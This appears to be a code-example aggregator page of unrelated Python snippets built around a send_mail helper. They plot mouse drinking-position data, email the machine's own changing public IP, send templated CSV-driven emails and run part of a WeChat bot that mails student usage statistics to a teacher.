    last_date = datetime.strptime(dates[-1], '%m/%d/%Y %I:%M:%S %p')
    last_date = last_date.replace(microsecond=0, second=0, minute=0)
    print(last_date)

    total_hours = last_date - start_date
    total_hours = total_hours.days * 24 + total_hours.seconds // 3600

    print(total_hours)

    start_date = start_date.strftime('%m/%d/%Y %I:%M:%S %p')
    last_date = last_date.strftime('%m/%d/%Y %I:%M:%S %p')

    print(last_date, dates[-10])

    for i in range(len(dates)):
        if dates[i] == start_date:
            start_ind = i
            break

    for i in reversed(range(len(dates))):
        if dates[i] == last_date:
            end_ind = i
            break

    dates = dates[start_ind:end_ind]

    for i in range(2):
        is_water_pos[i] = is_water_pos[i][start_ind:end_ind]

        frames = len(is_water_pos[i]) // total_hours

        splitted_data = [
            is_water_pos[i][j * frames:(j + 1) * frames]
            for j in range(total_hours)
        ]

        cur_feature = []
        for _ in range(total_hours):
            mean_value = np.sum(splitted_data[_])
            cur_feature.append(mean_value)

        is_water_pos[i] = cur_feature

        start_time = datetime.strptime('%d:30' % bias, '%H:%M')

        mouse = 'left' if i == 0 else 'right'
        color = 'blue' if i == 0 else 'red'

        plt.figure(figsize=(14, 8))
        plt.bar([i for i in range(len(is_water_pos[i]))],
                is_water_pos[i],
                color=color)
        plt.xticks([4 * i for i in range(len(is_water_pos[i]))],
                   [(start_time + timedelta(hours=4 * i)).strftime("%H:%M")
                    for i in range(len(is_water_pos[i]))],
                   rotation=60)
        plt.axis([0, len(is_water_pos[i]), 0, np.max(is_water_pos[i])])
        plt.title(
            'Time in drinking position\n{} mouse, sum for {} hour intervals'.
            format(mouse, 1))
        plt.savefig(os.path.join(data_path, 'drinking_pos', mouse + '.png'))

    send_mail('drinking position plots, {} record'.format(dirname),
              img_dir=os.path.join(data_path, 'drinking_pos'))
예제 #35
0
import internet_ip
import send_email
import time

myIP = None

while True:
    ip = internet_ip.getInternetIp()
    print 'myip ' + ip
    if ip != myIP and ip:
        myIP = ip
        send_email.send_mail(['*****@*****.**'], 'my ip', myIP)
    time.sleep(60)
예제 #36
0
import datetime
from read_template import get_template
from read_csv import read
from send_email import send_mail
context = {}
context = read("file1.csv", 1)
#print(context)
text = get_template()
#print(text)
today = datetime.date.today()
context["date"] = today.strftime("%d-%m-%y")


#print(context)
def email_text(text, context):
    return_email_text = text.format(**context)
    return return_email_text


email = email_text(text, context)
#print(email)
send_mail(context["email"], email)
    if (content=="students") or (content=="Students") or (content=="students ") or (content=="Students "):
        check_new_user(toUserName)

        if check_property(toUserName, BIT_BIGDATA_TEACHER):
            generate_bit_students_file.gen_students_xls(bit_students_file_xls)
            cur_user=Users.objects(wechat_user_id=toUserName).first()	
            cur_supervessel_account=cur_user.supervessel_account
            mail_subject = "Summary of resource activity status for BIT Big Data course"
            mail_text = "本邮件是当前大数据课程中,学生作业资源使用的统计,数值仅供参考,谢谢!"
            attached_files=[]
            attached_files.append(bit_students_file_xls)
            to_address=[]
            to_address.append(cur_supervessel_account)
            if cur_supervessel_account:
                send_email.send_mail(smtp_server, mail_user, mail_passwd, 
                    mail_from, to_address,
                    mail_subject, mail_text,
                    attached_files)
                reply_msg = generate_message.gen_msg_txt(
		    	    toUserName, fromUserName, postTime, 
		    	    "文件已经生成,并发送到您的邮箱: "+cur_supervessel_account)	   
            else:
                reply_msg = generate_message.gen_msg_txt(
                    toUserName, fromUserName, postTime, 
                    "对不起,您还没有登记您的电子邮箱。")	   
	
            return HttpResponse(reply_msg)	    

        else:
            reply_msg = generate_message.gen_msg_txt(
                        toUserName, fromUserName, postTime,
                        "对不起,您不是注册老师")